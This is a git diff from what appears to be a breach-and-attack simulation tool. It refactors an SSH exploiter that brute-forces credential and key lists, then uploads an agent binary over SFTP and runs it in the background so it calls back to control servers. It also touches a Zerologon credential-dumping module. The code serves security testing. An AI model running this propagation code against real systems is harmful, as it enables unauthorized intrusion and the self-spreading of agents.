_EXPLOITED_SERVICE = "SSH"
|
||||||
|
|
||||||
|
_EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
|
||||||
|
_PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super(SSHExploiter, self).__init__()
|
super(SSHExploiter, self).__init__()
|
||||||
|
|
||||||
|
@ -46,7 +63,7 @@ class SSHExploiter(HostExploiter):
|
||||||
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||||
timer.reset()
|
timer.reset()
|
||||||
|
|
||||||
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient:
|
||||||
user_ssh_key_pairs = generate_identity_secret_pairs(
|
user_ssh_key_pairs = generate_identity_secret_pairs(
|
||||||
identities=self.options["credentials"]["exploit_user_list"],
|
identities=self.options["credentials"]["exploit_user_list"],
|
||||||
secrets=self.options["credentials"]["exploit_ssh_keys"],
|
secrets=self.options["credentials"]["exploit_ssh_keys"],
|
||||||
|
@ -70,6 +87,8 @@ class SSHExploiter(HostExploiter):
|
||||||
pkey = paramiko.RSAKey.from_private_key(pkey)
|
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||||
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||||
logger.error("Failed reading ssh key")
|
logger.error("Failed reading ssh key")
|
||||||
|
|
||||||
|
timestamp = time()
|
||||||
try:
|
try:
|
||||||
ssh.connect(
|
ssh.connect(
|
||||||
self.host.ip_addr,
|
self.host.ip_addr,
|
||||||
|
@ -86,20 +105,30 @@ class SSHExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
self.add_vuln_port(port)
|
self.add_vuln_port(port)
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.exploitation_success = True
|
||||||
|
self._publish_exploitation_event(timestamp, True)
|
||||||
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||||
return ssh
|
return ssh
|
||||||
except paramiko.AuthenticationException as err:
|
except paramiko.AuthenticationException as err:
|
||||||
ssh.close()
|
ssh.close()
|
||||||
logger.info(
|
error_message = (
|
||||||
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}",
|
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
|
||||||
)
|
)
|
||||||
|
logger.info(error_message)
|
||||||
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||||
continue
|
continue
|
||||||
except Exception as err:
|
except Exception as err:
|
||||||
logger.error(f"Unknown error while attempting to login with ssh key: {err}")
|
error_message = (
|
||||||
|
f"Unexpected error while attempting to login to {ssh_string} with ssh key: "
|
||||||
|
f"{err}"
|
||||||
|
)
|
||||||
|
logger.error(error_message)
|
||||||
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||||
|
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||||
|
|
||||||
raise FailedExploitationError
|
raise FailedExploitationError
|
||||||
|
|
||||||
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
|
def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient:
|
||||||
user_password_pairs = generate_identity_secret_pairs(
|
user_password_pairs = generate_identity_secret_pairs(
|
||||||
identities=self.options["credentials"]["exploit_user_list"],
|
identities=self.options["credentials"]["exploit_user_list"],
|
||||||
secrets=self.options["credentials"]["exploit_password_list"],
|
secrets=self.options["credentials"]["exploit_password_list"],
|
||||||
|
@ -116,6 +145,8 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
ssh = paramiko.SSHClient()
|
ssh = paramiko.SSHClient()
|
||||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||||
|
|
||||||
|
timestamp = time()
|
||||||
try:
|
try:
|
||||||
ssh.connect(
|
ssh.connect(
|
||||||
self.host.ip_addr,
|
self.host.ip_addr,
|
||||||
|
@ -131,108 +162,79 @@ class SSHExploiter(HostExploiter):
|
||||||
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
||||||
self.add_vuln_port(port)
|
self.add_vuln_port(port)
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.exploitation_success = True
|
||||||
|
self._publish_exploitation_event(timestamp, True)
|
||||||
self.report_login_attempt(True, user, current_password)
|
self.report_login_attempt(True, user, current_password)
|
||||||
return ssh
|
return ssh
|
||||||
|
|
||||||
except paramiko.AuthenticationException as err:
|
except paramiko.AuthenticationException as err:
|
||||||
logger.debug(
|
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
|
||||||
"Failed logging into victim %r with user" " %s: (%s)",
|
logger.debug(error_message)
|
||||||
self.host,
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||||
user,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
self.report_login_attempt(False, user, current_password)
|
self.report_login_attempt(False, user, current_password)
|
||||||
ssh.close()
|
ssh.close()
|
||||||
continue
|
continue
|
||||||
except Exception as err:
|
except Exception as err:
|
||||||
logger.error(f"Unknown error occurred while trying to login to ssh: {err}")
|
error_message = (
|
||||||
|
f"Unexpected error while attempting to login to {self.host} with password: "
|
||||||
|
f"{err}"
|
||||||
|
)
|
||||||
|
logger.error(error_message)
|
||||||
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||||
|
self.report_login_attempt(False, user, current_password)
|
||||||
|
|
||||||
raise FailedExploitationError
|
raise FailedExploitationError
|
||||||
|
|
||||||
def _exploit_host(self) -> ExploiterResultData:
|
def _exploit_host(self) -> ExploiterResultData:
|
||||||
port = SSH_PORT
|
port = self._get_ssh_port()
|
||||||
|
|
||||||
# if ssh banner found on different port, use that port.
|
if not self._is_port_open(IPv4Address(self.host.ip_addr), port):
|
||||||
for servkey, servdata in list(self.host.services.items()):
|
|
||||||
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
|
||||||
port = int(servkey.replace("tcp-", ""))
|
|
||||||
|
|
||||||
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
|
||||||
if not is_open:
|
|
||||||
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
|
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
|
||||||
|
|
||||||
logger.info(self.exploit_result.error_message)
|
logger.info(self.exploit_result.error_message)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
try:
|
||||||
|
ssh = self._exploit(port)
|
||||||
|
except FailedExploitationError as err:
|
||||||
|
self.exploit_result.error_message = str(err)
|
||||||
|
logger.error(self.exploit_result.error_message)
|
||||||
|
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
if self._is_interrupted():
|
||||||
|
self._set_interrupted()
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._propagate(ssh)
|
||||||
|
except (FailedExploitationError, RuntimeError) as err:
|
||||||
|
self.exploit_result.error_message = str(err)
|
||||||
|
logger.error(self.exploit_result.error_message)
|
||||||
|
finally:
|
||||||
|
ssh.close()
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
def _exploit(self, port: int) -> paramiko.SSHClient:
|
||||||
try:
|
try:
|
||||||
ssh = self.exploit_with_ssh_keys(port)
|
ssh = self.exploit_with_ssh_keys(port)
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
try:
|
try:
|
||||||
ssh = self.exploit_with_login_creds(port)
|
ssh = self.exploit_with_login_creds(port)
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
|
raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
|
||||||
logger.error(self.exploit_result.error_message)
|
|
||||||
return self.exploit_result
|
return ssh
|
||||||
|
|
||||||
|
def _propagate(self, ssh: paramiko.SSHClient):
|
||||||
|
agent_binary_file_object = self._get_agent_binary(ssh)
|
||||||
|
if agent_binary_file_object is None:
|
||||||
|
raise RuntimeError("Can't find suitable monkey executable for host {self.host}")
|
||||||
|
|
||||||
if self._is_interrupted():
|
if self._is_interrupted():
|
||||||
self._set_interrupted()
|
self._set_interrupted()
|
||||||
return self.exploit_result
|
raise RuntimeError("Propagation was interrupted")
|
||||||
|
|
||||||
if not self.host.os.get("type"):
|
|
||||||
try:
|
|
||||||
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
|
|
||||||
uname_os = stdout.read().lower().strip().decode()
|
|
||||||
if "linux" in uname_os:
|
|
||||||
self.exploit_result.os = OperatingSystem.LINUX
|
|
||||||
self.host.os["type"] = OperatingSystem.LINUX
|
|
||||||
else:
|
|
||||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
|
||||||
|
|
||||||
if not uname_os:
|
|
||||||
logger.error(self.exploit_result.error_message)
|
|
||||||
return self.exploit_result
|
|
||||||
except Exception as exc:
|
|
||||||
self.exploit_result.error_message = (
|
|
||||||
f"Error running uname os command on victim {self.host}: ({exc})"
|
|
||||||
)
|
|
||||||
|
|
||||||
logger.error(self.exploit_result.error_message)
|
|
||||||
return self.exploit_result
|
|
||||||
|
|
||||||
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
|
|
||||||
self.exploit_result.os
|
|
||||||
)
|
|
||||||
|
|
||||||
if not agent_binary_file_object:
|
|
||||||
self.exploit_result.error_message = (
|
|
||||||
f"Can't find suitable monkey executable for host {self.host}"
|
|
||||||
)
|
|
||||||
|
|
||||||
logger.error(self.exploit_result.error_message)
|
|
||||||
return self.exploit_result
|
|
||||||
|
|
||||||
if self._is_interrupted():
|
|
||||||
self._set_interrupted()
|
|
||||||
return self.exploit_result
|
|
||||||
|
|
||||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||||
|
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
|
||||||
try:
|
|
||||||
with ssh.open_sftp() as ftp:
|
|
||||||
ftp.putfo(
|
|
||||||
agent_binary_file_object,
|
|
||||||
str(monkey_path_on_victim),
|
|
||||||
file_size=len(agent_binary_file_object.getbuffer()),
|
|
||||||
callback=self.log_transfer,
|
|
||||||
)
|
|
||||||
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
|
|
||||||
|
|
||||||
status = ScanStatus.USED
|
|
||||||
except Exception as exc:
|
|
||||||
self.exploit_result.error_message = (
|
|
||||||
f"Error uploading file into victim {self.host}: ({exc})"
|
|
||||||
)
|
|
||||||
logger.error(self.exploit_result.error_message)
|
|
||||||
status = ScanStatus.SCANNED
|
|
||||||
|
|
||||||
self.telemetry_messenger.send_telemetry(
|
self.telemetry_messenger.send_telemetry(
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
|
@ -242,13 +244,15 @@ class SSHExploiter(HostExploiter):
|
||||||
monkey_path_on_victim,
|
monkey_path_on_victim,
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
if status == ScanStatus.SCANNED:
|
if status == ScanStatus.SCANNED:
|
||||||
return self.exploit_result
|
raise FailedExploitationError(self.exploit_result.error_message)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
|
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
|
||||||
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
|
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
|
||||||
cmdline += " > /dev/null 2>&1 &"
|
cmdline += " > /dev/null 2>&1 &"
|
||||||
|
timestamp = time()
|
||||||
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
|
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
|
||||||
|
|
||||||
logger.info(
|
logger.info(
|
||||||
|
@ -259,18 +263,87 @@ class SSHExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
|
|
||||||
self.exploit_result.propagation_success = True
|
self.exploit_result.propagation_success = True
|
||||||
|
self._publish_propagation_event(timestamp, True)
|
||||||
ssh.close()
|
|
||||||
self.add_executed_cmd(cmdline)
|
self.add_executed_cmd(cmdline)
|
||||||
return self.exploit_result
|
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
self.exploit_result.error_message = (
|
error_message = f"Error running monkey on victim {self.host}: ({exc})"
|
||||||
f"Error running monkey on victim {self.host}: ({exc})"
|
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||||
)
|
raise FailedExploitationError(error_message)
|
||||||
|
|
||||||
logger.error(self.exploit_result.error_message)
|
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
|
||||||
return self.exploit_result
|
is_open, _ = check_tcp_port(ip, port)
|
||||||
|
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
|
||||||
|
self.agent_event_queue.publish(
|
||||||
|
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
|
||||||
|
)
|
||||||
|
|
||||||
|
return is_open
|
||||||
|
|
||||||
|
def _get_ssh_port(self) -> int:
|
||||||
|
port = SSH_PORT
|
||||||
|
|
||||||
|
# if ssh banner found on different port, use that port.
|
||||||
|
for servkey, servdata in list(self.host.services.items()):
|
||||||
|
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
||||||
|
port = int(servkey.replace("tcp-", ""))
|
||||||
|
|
||||||
|
return port
|
||||||
|
|
||||||
|
def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool:
|
||||||
|
try:
|
||||||
|
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
|
||||||
|
uname_os = stdout.read().lower().strip().decode()
|
||||||
|
if "linux" in uname_os:
|
||||||
|
self.exploit_result.os = OperatingSystem.LINUX
|
||||||
|
self.host.os["type"] = OperatingSystem.LINUX
|
||||||
|
else:
|
||||||
|
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||||
|
|
||||||
|
if not uname_os:
|
||||||
|
logger.error(self.exploit_result.error_message)
|
||||||
|
return False
|
||||||
|
except Exception as exc:
|
||||||
|
logger.error(f"Error running uname os command on victim {self.host}: ({exc})")
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]:
|
||||||
|
if not self.host.os.get("type") and not self._get_victim_os(ssh):
|
||||||
|
return None
|
||||||
|
|
||||||
|
try:
|
||||||
|
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
|
||||||
|
self.exploit_result.os
|
||||||
|
)
|
||||||
|
except RetrievalError:
|
||||||
|
return None
|
||||||
|
|
||||||
|
return agent_binary_file_object
|
||||||
|
|
||||||
|
def _upload_agent_binary(
|
||||||
|
self,
|
||||||
|
ssh: paramiko.SSHClient,
|
||||||
|
agent_binary_file_object: io.BytesIO,
|
||||||
|
monkey_path_on_victim: PurePath,
|
||||||
|
) -> ScanStatus:
|
||||||
|
try:
|
||||||
|
timestamp = time()
|
||||||
|
with ssh.open_sftp() as ftp:
|
||||||
|
ftp.putfo(
|
||||||
|
agent_binary_file_object,
|
||||||
|
str(monkey_path_on_victim),
|
||||||
|
file_size=len(agent_binary_file_object.getbuffer()),
|
||||||
|
callback=self.log_transfer,
|
||||||
|
)
|
||||||
|
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
|
||||||
|
|
||||||
|
return ScanStatus.USED
|
||||||
|
except Exception as exc:
|
||||||
|
error_message = f"Error uploading file into victim {self.host}: ({exc})"
|
||||||
|
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||||
|
self.exploit_result.error_message = error_message
|
||||||
|
return ScanStatus.SCANNED
|
||||||
|
|
||||||
def _set_executable_bit_on_agent_binary(
|
def _set_executable_bit_on_agent_binary(
|
||||||
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath
|
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath
|
||||||
|
|
|
@ -3,6 +3,7 @@ import urllib.error
|
||||||
import urllib.parse
|
import urllib.parse
|
||||||
import urllib.request
|
import urllib.request
|
||||||
from threading import Lock
|
from threading import Lock
|
||||||
|
from typing import Optional, Tuple
|
||||||
|
|
||||||
from infection_monkey.network.firewall import app as firewall
|
from infection_monkey.network.firewall import app as firewall
|
||||||
from infection_monkey.network.info import get_free_tcp_port
|
from infection_monkey.network.info import get_free_tcp_port
|
||||||
|
@ -28,7 +29,7 @@ class HTTPTools(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_locked_transfer(
|
def create_locked_transfer(
|
||||||
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
|
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
|
||||||
) -> LockedHTTPServer:
|
) -> Tuple[Optional[str], Optional[LockedHTTPServer]]:
|
||||||
"""
|
"""
|
||||||
Create http server for file transfer with a lock
|
Create http server for file transfer with a lock
|
||||||
:param host: Variable with target's information
|
:param host: Variable with target's information
|
||||||
|
|
|
@ -18,6 +18,7 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||||
from common.agent_events import CredentialsStolenEvent
|
from common.agent_events import CredentialsStolenEvent
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||||
from common.credentials import Credentials, LMHash, NTHash, Username
|
from common.credentials import Credentials, LMHash, NTHash, Username
|
||||||
|
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
||||||
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
||||||
|
@ -32,9 +33,6 @@ from infection_monkey.utils.threading import interruptible_iter
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter"
|
ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter"
|
||||||
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
|
||||||
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
|
|
||||||
|
|
||||||
|
|
||||||
ZEROLOGON_EVENT_TAGS = frozenset(
|
ZEROLOGON_EVENT_TAGS = frozenset(
|
||||||
{
|
{
|
||||||
|
@ -315,7 +313,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
tags=ZEROLOGON_EVENT_TAGS,
|
tags=ZEROLOGON_EVENT_TAGS,
|
||||||
stolen_credentials=extracted_credentials,
|
stolen_credentials=extracted_credentials,
|
||||||
)
|
)
|
||||||
self.event_queue.publish(credentials_stolen_event)
|
self.agent_event_queue.publish(credentials_stolen_event)
|
||||||
|
|
||||||
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]:
|
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]:
|
||||||
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
|
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
|
||||||
|
@ -383,7 +381,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
return True
|
return True
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.info(f"Exception occured: {str(e)}")
|
logger.info(f"Exception occurred: {str(e)}")
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
info = output_captor.get_captured_stdout_output()
|
info = output_captor.get_captured_stdout_output()
|
||||||
|
|
|
@ -1,23 +1,11 @@
|
||||||
import abc
|
import abc
|
||||||
from typing import Optional, Sequence
|
from typing import Sequence
|
||||||
from uuid import UUID
|
|
||||||
|
|
||||||
from common.agent_configuration import AgentConfiguration
|
from common.agent_configuration import AgentConfiguration
|
||||||
from common.credentials import Credentials
|
from common.credentials import Credentials
|
||||||
|
|
||||||
|
|
||||||
class IControlChannel(metaclass=abc.ABCMeta):
|
class IControlChannel(metaclass=abc.ABCMeta):
|
||||||
@abc.abstractmethod
|
|
||||||
def register_agent(self, parent_id: Optional[UUID] = None):
|
|
||||||
"""
|
|
||||||
Registers this agent with the Island when this agent starts
|
|
||||||
|
|
||||||
:param parent: The ID of the parent that spawned this agent, or None if this agent has no
|
|
||||||
parent
|
|
||||||
:raises IslandCommunicationError: If the agent cannot be successfully registered
|
|
||||||
"""
|
|
||||||
pass
|
|
||||||
|
|
||||||
@abc.abstractmethod
|
@abc.abstractmethod
|
||||||
def should_agent_stop(self) -> bool:
|
def should_agent_stop(self) -> bool:
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -2,10 +2,8 @@ from .plugin_type import PluginType
|
||||||
from .i_puppet import (
|
from .i_puppet import (
|
||||||
IPuppet,
|
IPuppet,
|
||||||
ExploiterResultData,
|
ExploiterResultData,
|
||||||
PingScanData,
|
|
||||||
PortScanData,
|
PortScanData,
|
||||||
FingerprintData,
|
FingerprintData,
|
||||||
PortStatus,
|
|
||||||
PostBreachData,
|
PostBreachData,
|
||||||
UnknownPluginError,
|
UnknownPluginError,
|
||||||
)
|
)
|
||||||
|
|
|
@ -1,7 +1,9 @@
|
||||||
from abc import abstractmethod
|
from abc import abstractmethod
|
||||||
from typing import Dict
|
from typing import Dict
|
||||||
|
|
||||||
from . import FingerprintData, PingScanData, PortScanData
|
from common.types import PingScanData
|
||||||
|
|
||||||
|
from . import FingerprintData, PortScanData
|
||||||
|
|
||||||
|
|
||||||
class IFingerprinter:
|
class IFingerprinter:
|
||||||
|
|
|
@ -2,20 +2,15 @@ import abc
|
||||||
import threading
|
import threading
|
||||||
from collections import namedtuple
|
from collections import namedtuple
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
from enum import Enum
|
from typing import Dict, Iterable, Mapping, Optional, Sequence
|
||||||
from typing import Dict, Iterable, List, Mapping, Sequence
|
|
||||||
|
|
||||||
from common.credentials import Credentials
|
from common.credentials import Credentials
|
||||||
|
from common.types import PingScanData
|
||||||
from infection_monkey.model import VictimHost
|
from infection_monkey.model import VictimHost
|
||||||
|
|
||||||
from . import PluginType
|
from . import PluginType
|
||||||
|
|
||||||
|
|
||||||
class PortStatus(Enum):
|
|
||||||
OPEN = 1
|
|
||||||
CLOSED = 2
|
|
||||||
|
|
||||||
|
|
||||||
class UnknownPluginError(Exception):
|
class UnknownPluginError(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
@ -26,12 +21,11 @@ class ExploiterResultData:
|
||||||
propagation_success: bool = False
|
propagation_success: bool = False
|
||||||
interrupted: bool = False
|
interrupted: bool = False
|
||||||
os: str = ""
|
os: str = ""
|
||||||
info: Mapping = None
|
info: Optional[Mapping] = None
|
||||||
attempts: Iterable = None
|
attempts: Optional[Iterable] = None
|
||||||
error_message: str = ""
|
error_message: str = ""
|
||||||
|
|
||||||
|
|
||||||
PingScanData = namedtuple("PingScanData", ["response_received", "os"])
|
|
||||||
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"])
|
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"])
|
||||||
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"])
|
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"])
|
||||||
PostBreachData = namedtuple("PostBreachData", ["display_name", "command", "result"])
|
PostBreachData = namedtuple("PostBreachData", ["display_name", "command", "result"])
|
||||||
|
@ -83,7 +77,7 @@ class IPuppet(metaclass=abc.ABCMeta):
|
||||||
|
|
||||||
@abc.abstractmethod
|
@abc.abstractmethod
|
||||||
def scan_tcp_ports(
|
def scan_tcp_ports(
|
||||||
self, host: str, ports: List[int], timeout: float = 3
|
self, host: str, ports: Sequence[int], timeout: float = 3
|
||||||
) -> Dict[int, PortScanData]:
|
) -> Dict[int, PortScanData]:
|
||||||
"""
|
"""
|
||||||
Scans a list of TCP ports on a remote host
|
Scans a list of TCP ports on a remote host
|
||||||
|
@ -125,6 +119,7 @@ class IPuppet(metaclass=abc.ABCMeta):
|
||||||
name: str,
|
name: str,
|
||||||
host: VictimHost,
|
host: VictimHost,
|
||||||
current_depth: int,
|
current_depth: int,
|
||||||
|
servers: Sequence[str],
|
||||||
options: Dict,
|
options: Dict,
|
||||||
interrupt: threading.Event,
|
interrupt: threading.Event,
|
||||||
) -> ExploiterResultData:
|
) -> ExploiterResultData:
|
||||||
|
@ -134,6 +129,7 @@ class IPuppet(metaclass=abc.ABCMeta):
|
||||||
:param str name: The name of the exploiter to run
|
:param str name: The name of the exploiter to run
|
||||||
:param VictimHost host: A VictimHost object representing the target to exploit
|
:param VictimHost host: A VictimHost object representing the target to exploit
|
||||||
:param int current_depth: The current propagation depth
|
:param int current_depth: The current propagation depth
|
||||||
|
:param servers: List of socket addresses for victim to connect back to
|
||||||
:param Dict options: A dictionary containing options that modify the behavior of the
|
:param Dict options: A dictionary containing options that modify the behavior of the
|
||||||
exploiter
|
exploiter
|
||||||
:param threading.Event interrupt: A threading.Event object that signals the exploit to stop
|
:param threading.Event interrupt: A threading.Event object that signals the exploit to stop
|
||||||
|
|
|
@ -1,13 +1,22 @@
|
||||||
import functools
|
import functools
|
||||||
|
import json
|
||||||
import logging
|
import logging
|
||||||
|
from pprint import pformat
|
||||||
from typing import List, Sequence
|
from typing import List, Sequence
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
from common import OperatingSystem
|
from common import AgentRegistrationData, AgentSignals, OperatingSystem
|
||||||
from common.agent_event_serializers import AgentEventSerializerRegistry, JSONSerializable
|
from common.agent_configuration import AgentConfiguration
|
||||||
|
from common.agent_event_serializers import AgentEventSerializerRegistry
|
||||||
from common.agent_events import AbstractAgentEvent
|
from common.agent_events import AbstractAgentEvent
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import (
|
||||||
|
LONG_REQUEST_TIMEOUT,
|
||||||
|
MEDIUM_REQUEST_TIMEOUT,
|
||||||
|
SHORT_REQUEST_TIMEOUT,
|
||||||
|
)
|
||||||
|
from common.credentials import Credentials
|
||||||
|
from common.types import AgentID, JSONSerializable, SocketAddress
|
||||||
|
|
||||||
from . import (
|
from . import (
|
||||||
AbstractIslandAPIClientFactory,
|
AbstractIslandAPIClientFactory,
|
||||||
|
@ -27,7 +36,9 @@ def handle_island_errors(fn):
|
||||||
def decorated(*args, **kwargs):
|
def decorated(*args, **kwargs):
|
||||||
try:
|
try:
|
||||||
return fn(*args, **kwargs)
|
return fn(*args, **kwargs)
|
||||||
except requests.exceptions.ConnectionError as err:
|
except IslandAPIError as err:
|
||||||
|
raise err
|
||||||
|
except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as err:
|
||||||
raise IslandAPIConnectionError(err)
|
raise IslandAPIConnectionError(err)
|
||||||
except requests.exceptions.HTTPError as err:
|
except requests.exceptions.HTTPError as err:
|
||||||
if 400 <= err.response.status_code < 500:
|
if 400 <= err.response.status_code < 500:
|
||||||
|
@ -38,14 +49,23 @@ def handle_island_errors(fn):
|
||||||
raise IslandAPIError(err)
|
raise IslandAPIError(err)
|
||||||
except TimeoutError as err:
|
except TimeoutError as err:
|
||||||
raise IslandAPITimeoutError(err)
|
raise IslandAPITimeoutError(err)
|
||||||
except IslandAPIError as err:
|
|
||||||
raise err
|
|
||||||
except Exception as err:
|
except Exception as err:
|
||||||
raise IslandAPIError(err)
|
raise IslandAPIError(err)
|
||||||
|
|
||||||
return decorated
|
return decorated
|
||||||
|
|
||||||
|
|
||||||
|
def convert_json_error_to_island_api_error(fn):
|
||||||
|
@functools.wraps(fn)
|
||||||
|
def wrapper(*args, **kwargs):
|
||||||
|
try:
|
||||||
|
return fn(*args, **kwargs)
|
||||||
|
except (requests.JSONDecodeError, json.JSONDecodeError) as err:
|
||||||
|
raise IslandAPIRequestFailedError(err)
|
||||||
|
|
||||||
|
return wrapper
|
||||||
|
|
||||||
|
|
||||||
class HTTPIslandAPIClient(IIslandAPIClient):
|
class HTTPIslandAPIClient(IIslandAPIClient):
|
||||||
"""
|
"""
|
||||||
A client for the Island's HTTP API
|
A client for the Island's HTTP API
|
||||||
|
@ -60,7 +80,7 @@ class HTTPIslandAPIClient(IIslandAPIClient):
|
||||||
@handle_island_errors
|
@handle_island_errors
|
||||||
def connect(
|
def connect(
|
||||||
self,
|
self,
|
||||||
island_server: str,
|
island_server: SocketAddress,
|
||||||
):
|
):
|
||||||
response = requests.get( # noqa: DUO123
|
response = requests.get( # noqa: DUO123
|
||||||
f"https://{island_server}/api?action=is-up",
|
f"https://{island_server}/api?action=is-up",
|
||||||
|
@ -69,13 +89,12 @@ class HTTPIslandAPIClient(IIslandAPIClient):
|
||||||
